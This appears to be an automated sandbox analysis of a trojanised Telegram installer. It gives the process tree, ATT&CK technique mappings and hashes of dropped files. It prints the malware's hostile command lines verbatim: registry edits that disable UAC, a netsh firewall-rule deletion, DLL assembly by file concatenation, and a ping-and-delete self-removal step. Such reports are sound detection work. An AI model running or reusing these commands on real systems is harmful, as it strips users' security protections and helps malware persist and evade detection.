PID 1500 wrote to memory of 1272	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 1272	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 1272	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 1272	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 2460	1500	msiexec.exe	dac.exe
PID 1500 wrote to memory of 2460	1500	msiexec.exe	dac.exe
PID 1500 wrote to memory of 2460	1500	msiexec.exe	dac.exe
PID 948 wrote to memory of 944	948	mmc.exe	netsh.exe
PID 948 wrote to memory of 944	948	mmc.exe	netsh.exe
PID 948 wrote to memory of 944	948	mmc.exe	netsh.exe
PID 868 wrote to memory of 1960	868	mmc.exe	netsh.exe
PID 868 wrote to memory of 1960	868	mmc.exe	netsh.exe
PID 868 wrote to memory of 1960	868	mmc.exe	netsh.exe
PID 2460 wrote to memory of 2580	2460	dac.exe	cmd.exe
PID 2460 wrote to memory of 2580	2460	dac.exe	cmd.exe
PID 2460 wrote to memory of 2580	2460	dac.exe	cmd.exe
PID 2580 wrote to memory of 1468	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 1468	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 1468	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 1208	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 1208	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 1208	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 980	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 980	2580	cmd.exe	reg.exe
PID 2580 wrote to memory of 980	2580	cmd.exe	reg.exe
PID 2460 wrote to memory of 1724	2460	dac.exe	cmd.exe
PID 2460 wrote to memory of 1724	2460	dac.exe	cmd.exe
PID 2460 wrote to memory of 1724	2460	dac.exe	cmd.exe
PID 1612 wrote to memory of 1580	1612	mmc.exe	ConsoleProxy.exe
PID 1612 wrote to memory of 1580	1612	mmc.exe	ConsoleProxy.exe
PID 1612 wrote to memory of 1580	1612	mmc.exe	ConsoleProxy.exe
PID 1612 wrote to memory of 1580	1612	mmc.exe	ConsoleProxy.exe
PID 2460 wrote to memory of 1552	2460	dac.exe	cmd.exe
PID 2460 wrote to memory of 1552	2460	dac.exe	cmd.exe
PID 2460 wrote to memory of 1552	2460	dac.exe	cmd.exe
PID 1552 wrote to memory of 2836	1552	cmd.exe	PING.EXE
PID 1552 wrote to memory of 2836	1552	cmd.exe	PING.EXE
PID 1552 wrote to memory of 2836	1552	cmd.exe	PING.EXE
PID 1580 wrote to memory of 2624	1580	ConsoleProxy.exe	netsh.exe
PID 1580 wrote to memory of 2624	1580	ConsoleProxy.exe	netsh.exe
PID 1580 wrote to memory of 2624	1580	ConsoleProxy.exe	netsh.exe
PID 1580 wrote to memory of 2624	1580	ConsoleProxy.exe	netsh.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\CS-TG-64-9.msi
1⤵
- Enumerates connected drives
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2152

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 2EF143009F894754E1A1DF63D017A791 C
2⤵
- Loads dropped DLL
PID:2848

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 99B620DF92DE764E7117C0565C33A3AD
2⤵
- Loads dropped DLL
PID:1272

C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe
"C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2460

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\jK622.bat"
3⤵
- Suspicious use of WriteProcessMemory
PID:2580

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
4⤵
- UAC bypass
PID:1468

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F
4⤵
- UAC bypass
PID:1208

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F
4⤵
- UAC bypass
PID:980

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /b C:\Users\Public\Pictures\4564g\76H6w@9\v + C:\Users\Public\Pictures\4564g\76H6w@9\b C:\Users\Public\Pictures\4564g\76H6w@9\openconsolewpcap.dll
3⤵
PID:1724

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe > nul
3⤵
- Suspicious use of WriteProcessMemory
PID:1552

C:\Windows\system32\PING.EXE
ping -n 2 127.0.0.1
4⤵
- Runs ping.exe
PID:2836

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2156

C:\Windows\system32\DrvInst.exe
DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "00000000000005A0" "0000000000000590"
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3008

C:\Windows\system32\mmc.exe
C:\Windows\system32\mmc.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" interface ip set address 本地连接 static 1.0.0.2 255.255.255.0 1.0.0.1 1
2⤵
- Modifies data under HKEY_USERS
PID:944

C:\Windows\system32\mmc.exe
C:\Windows\system32\mmc.exe -Embedding
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: SetClipboardViewer
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:868

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" interface ip set address \"无线网络连接\" static 1.0.0.3 255.255.255.0 1.0.0.1 1
2⤵
- Modifies data under HKEY_USERS
PID:1960

C:\Windows\system32\mmc.exe
C:\Windows\system32\mmc.exe -Embedding
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: SetClipboardViewer
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1612

C:\Users\Public\Pictures\4564g\76H6w@9\ConsoleProxy.exe
"C:\Users\Public\Pictures\4564g\76H6w@9\ConsoleProxy.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\SysWOW64\netsh.exe
netsh advfirewall firewall delete rule name="" program="C:\Users\Public\Pictures\4564g\76H6w@9\ConsoleProxy.exe"
3⤵
- Modifies Windows Firewall
PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\MSI8343.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI8566.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI85E4.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI85E4.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI86FE.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI8818.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\cache_22_7

Filesize
9.0MB

MD5
be5628882d28ba1bdb9850dc4b7e7fa1

SHA1
6d37839c4b8ded05c0e8108696e1b794de59a2a8

SHA256
def949e97a2a2d2e504f7c85a27a6f2fd44d3a898357398f4aaa7eb033dfb287

SHA512
16037fd6ee2bb26e1014e9e69a2ee5d7290ebe5021ed1eedaa5908b73c39cc2ba6f66c553be9a39163b8831e8f519b10009e71fb94ce392c7229541192aa1c39

Download Submit
C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe

Filesize
22.4MB

MD5
6979bc62c1f906107f9d04313e5603d7

SHA1
beff1f31e99fdc9f7d2788286a46db0398a9b0c3

SHA256
8128b035364ffdaf6905e23ec64703481082cb67669ba740289bb0050d4b60dc

SHA512
e67768056620096150e72ba97b7df3d496b1a5f9e039502f91d66760a53fe21ead68f14a33d9a735127d7ca2f94b3d651e3e826c82b6eb7dc2820cf8857c3a55

Download Submit
C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe

Filesize
22.4MB

MD5
6979bc62c1f906107f9d04313e5603d7

SHA1
beff1f31e99fdc9f7d2788286a46db0398a9b0c3

SHA256
8128b035364ffdaf6905e23ec64703481082cb67669ba740289bb0050d4b60dc

SHA512
e67768056620096150e72ba97b7df3d496b1a5f9e039502f91d66760a53fe21ead68f14a33d9a735127d7ca2f94b3d651e3e826c82b6eb7dc2820cf8857c3a55

Download Submit
C:\Users\Admin\AppData\Roaming\jK622.bat

Filesize
392B

MD5
30d6eb22d6aeec10347239b17b023bf4

SHA1
e2a6f86d66c699f6e0ff1ac4e140af4a2a4637d1

SHA256
659df6b190a0b92fc34e3a4457b4a8d11a26a4caf55de64dfe79eb1276181f08

SHA512
500872c3f2f3f801ec51717690873194675cb7f32cc4a862c09d90c18638d364d49b0e04c32323f52734e5c806e3503a63ac755c7019d762786a72840123df76

Download Submit
C:\Users\Public\Pictures\4564g\76H6w@9\ConsoleProxy.exe

Filesize
904KB

MD5
07664d67b56857133ce91e0ede047ec6

SHA1
c83dd9f00278e567f23b918791e2f1ba1b025c8b

SHA256
effe2e868cb9f885a1f91044be10eca56057f0fd2fea43f0fc4ad349e344c15f

SHA512
610b68bfc4acba3307b9ae106b388777040d024cb6ce5a3cee92462ab0d20986d1bf1a0ab9a827fe45fc48442b5e0c771329ac47e6ebacd4d9d793cf81fa036d

Download Submit
C:\Users\Public\Pictures\4564g\76H6w@9\ConsoleProxy.exe

Filesize
904KB

MD5
07664d67b56857133ce91e0ede047ec6

SHA1
c83dd9f00278e567f23b918791e2f1ba1b025c8b

SHA256
effe2e868cb9f885a1f91044be10eca56057f0fd2fea43f0fc4ad349e344c15f

SHA512
610b68bfc4acba3307b9ae106b388777040d024cb6ce5a3cee92462ab0d20986d1bf1a0ab9a827fe45fc48442b5e0c771329ac47e6ebacd4d9d793cf81fa036d

Download Submit
C:\Users\Public\Pictures\4564g\76H6w@9\b

Filesize
104KB

MD5
87fc2bd3754f13f346d5deb868b7b205

SHA1
909995865895b9c79c0a3b6c17b5867e1c67b4de

SHA256
f194e9e6449f4634a1f20ffa9d17ad5a2af228ad55160ab27ec2562265dc0715

SHA512
43adb9a29c443477126226a12f3035672a43f168e58e0b2e540995491248fd6173d637314be477d6d13f1397f0504def4171e02cae14876fecd12b2e74bd2bce

Download Submit
C:\Users\Public\Pictures\4564g\76H6w@9\openconsolepacket.dll

Filesize
126KB

MD5
75601eb6b85df77b3b8328e524cdd8be

SHA1
58e732acec0c0e65370030fc61e6577a2cc0d4af

SHA256
530010b5cb8a82bae6e244bca0a1a5202ece0cf59c83f7434af77b2a8ed32a84

SHA512
cc01c13b7926d31354a90db66b317c02fb4e155785f4c27eee24fdecdda4b5d18cdaf09581d4e54f0d10169708e4c2f904144a669cb5f4019146e19acef3f982

Download Submit
C:\Users\Public\Pictures\4564g\76H6w@9\openconsolewpcap.dll

Filesize
208KB

MD5
ceb101e19e1627a7cefc3edd8e594d43

SHA1
52da2a83f1ed5e2f9e34e7462a724986b1946c61

SHA256
e3210354d07b2e785f794fade1f84ab072f9e6bd169d246974ae1550bde33b92

SHA512
c20418068d538c727a310b236c66122d5f0fc86300c32c10be05d32a2c0e8da8b7af632e202aa612c863eb2149b7891e577e81dc729148cb3f6dcad0697836f2

Download Submit
C:\Users\Public\Pictures\4564g\76H6w@9\v

Filesize
104KB

MD5
b3d69bc92cd8824c81dce8a039289b51

SHA1
4d1636c74bc6c05b3da6fc71ad0a2fccbf48357a

SHA256
e3c6afedac974e02f301dc9c05ee8456343d1b013a3edbd7e648a13b36193a88

SHA512
444108a37cb065ee2b070bdd0f0ddb22bfc78eb6b5d9de1025960f22cb86fc4d865988445df75605bff8e806d6ba3659d2260432125f04ce80bf8fba27af83a8

Download Submit
C:\Windows\Installer\MSIFD24.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
\Users\Admin\AppData\Local\Temp\MSI8343.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
\Users\Admin\AppData\Local\Temp\MSI8566.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
\Users\Admin\AppData\Local\Temp\MSI85E4.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
\Users\Admin\AppData\Local\Temp\MSI86FE.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
\Users\Admin\AppData\Local\Temp\MSI8818.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
\Users\Admin\AppData\Roaming\CS-TG-64\Telegram.exe

Filesize
126.7MB

MD5
b207b753976baf91f4a1cfb6a195fd9d

SHA1
4c7a1cf450d6a96f6f9321a6407cd2d6dd50abb9

SHA256
96fbe1f018b68dc7be9b901eace3e9de00f8b6939af49153b8ebd88d868404d8

SHA512
5e8d9b3a4b78dbf495f14f0136cd891ee4f2fa6bcb4a051b73ba0f1acced17ac1abfceb94748cd10ba759c467be09b107ce1493679791715d05b65e13c5241f1

Download Submit
\Users\Admin\AppData\Roaming\CS-TG-64\Telegram.exe

Filesize
126.7MB

MD5
b207b753976baf91f4a1cfb6a195fd9d

SHA1
4c7a1cf450d6a96f6f9321a6407cd2d6dd50abb9

SHA256
96fbe1f018b68dc7be9b901eace3e9de00f8b6939af49153b8ebd88d868404d8

SHA512
5e8d9b3a4b78dbf495f14f0136cd891ee4f2fa6bcb4a051b73ba0f1acced17ac1abfceb94748cd10ba759c467be09b107ce1493679791715d05b65e13c5241f1

Download Submit
\Users\Admin\AppData\Roaming\CS-TG-64\Telegram.exe

Filesize
126.7MB

MD5
b207b753976baf91f4a1cfb6a195fd9d

SHA1
4c7a1cf450d6a96f6f9321a6407cd2d6dd50abb9

SHA256
96fbe1f018b68dc7be9b901eace3e9de00f8b6939af49153b8ebd88d868404d8

SHA512
5e8d9b3a4b78dbf495f14f0136cd891ee4f2fa6bcb4a051b73ba0f1acced17ac1abfceb94748cd10ba759c467be09b107ce1493679791715d05b65e13c5241f1

Download Submit
\Users\Admin\AppData\Roaming\CS-TG-64\Telegram.exe

Filesize
126.7MB

MD5
b207b753976baf91f4a1cfb6a195fd9d

SHA1
4c7a1cf450d6a96f6f9321a6407cd2d6dd50abb9

SHA256
96fbe1f018b68dc7be9b901eace3e9de00f8b6939af49153b8ebd88d868404d8

SHA512
5e8d9b3a4b78dbf495f14f0136cd891ee4f2fa6bcb4a051b73ba0f1acced17ac1abfceb94748cd10ba759c467be09b107ce1493679791715d05b65e13c5241f1

Download Submit
\Users\Admin\AppData\Roaming\CS-TG-64\Telegram.exe

Filesize
126.7MB

MD5
b207b753976baf91f4a1cfb6a195fd9d

SHA1
4c7a1cf450d6a96f6f9321a6407cd2d6dd50abb9

SHA256
96fbe1f018b68dc7be9b901eace3e9de00f8b6939af49153b8ebd88d868404d8

SHA512
5e8d9b3a4b78dbf495f14f0136cd891ee4f2fa6bcb4a051b73ba0f1acced17ac1abfceb94748cd10ba759c467be09b107ce1493679791715d05b65e13c5241f1

Download Submit
\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe

Filesize
22.4MB

MD5
6979bc62c1f906107f9d04313e5603d7

SHA1
beff1f31e99fdc9f7d2788286a46db0398a9b0c3

SHA256
8128b035364ffdaf6905e23ec64703481082cb67669ba740289bb0050d4b60dc

SHA512
e67768056620096150e72ba97b7df3d496b1a5f9e039502f91d66760a53fe21ead68f14a33d9a735127d7ca2f94b3d651e3e826c82b6eb7dc2820cf8857c3a55

Download Submit
\Users\Public\Pictures\4564g\76H6w@9\openconsolepacket.dll

Filesize
126KB

MD5
75601eb6b85df77b3b8328e524cdd8be

SHA1
58e732acec0c0e65370030fc61e6577a2cc0d4af

SHA256
530010b5cb8a82bae6e244bca0a1a5202ece0cf59c83f7434af77b2a8ed32a84

SHA512
cc01c13b7926d31354a90db66b317c02fb4e155785f4c27eee24fdecdda4b5d18cdaf09581d4e54f0d10169708e4c2f904144a669cb5f4019146e19acef3f982

Download Submit
\Users\Public\Pictures\4564g\76H6w@9\openconsolewpcap.dll

Filesize
208KB

MD5
ceb101e19e1627a7cefc3edd8e594d43

SHA1
52da2a83f1ed5e2f9e34e7462a724986b1946c61

SHA256
e3210354d07b2e785f794fade1f84ab072f9e6bd169d246974ae1550bde33b92

SHA512
c20418068d538c727a310b236c66122d5f0fc86300c32c10be05d32a2c0e8da8b7af632e202aa612c863eb2149b7891e577e81dc729148cb3f6dcad0697836f2

Download Submit
\Windows\Installer\MSIFD24.tmp

Filesize
540KB

MD5
dfc682d9f93d6dcd39524f1afcd0e00d

SHA1
adb81b1077d14dbe76d9ececfc3e027303075705

SHA256
f0f00100e20741444f8a6f5db8cc826515134622c3a82e4f53ba6237e97a8328

SHA512
52f84956b480bd06914a3615b75ad198a3ce821b0dd88dd30443bf4ea3d406349c95a115c31cb879775bd716563473909d22a8ec34253eca1aa7009845430bc9

Download Submit
memory/868-112-0x0000000001FC0000-0x0000000001FC1000-memory.dmp

Filesize
4KB

Download
memory/948-111-0x0000000001FC0000-0x0000000001FC1000-memory.dmp

Filesize
4KB

Download
memory/1612-126-0x0000000001F40000-0x0000000001F41000-memory.dmp

Filesize
4KB

Download
memory/2460-86-0x0000000180000000-0x0000000180040000-memory.dmp

Filesize
256KB

Download
memory/2460-81-0x0000000180000000-0x0000000180040000-memory.dmp

Filesize
256KB

Download
memory/2460-87-0x0000000180000000-0x0000000180040000-memory.dmp

Filesize
256KB

Download
memory/2460-84-0x0000000180000000-0x0000000180040000-memory.dmp

Filesize
256KB

Download
memory/2460-91-0x0000000180000000-0x0000000180040000-memory.dmp

Filesize
256KB

Download
memory/2460-83-0x0000000180000000-0x0000000180040000-memory.dmp

Filesize
256KB

Download
memory/2460-134-0x0000000180000000-0x0000000180040000-memory.dmp

Filesize
256KB

Download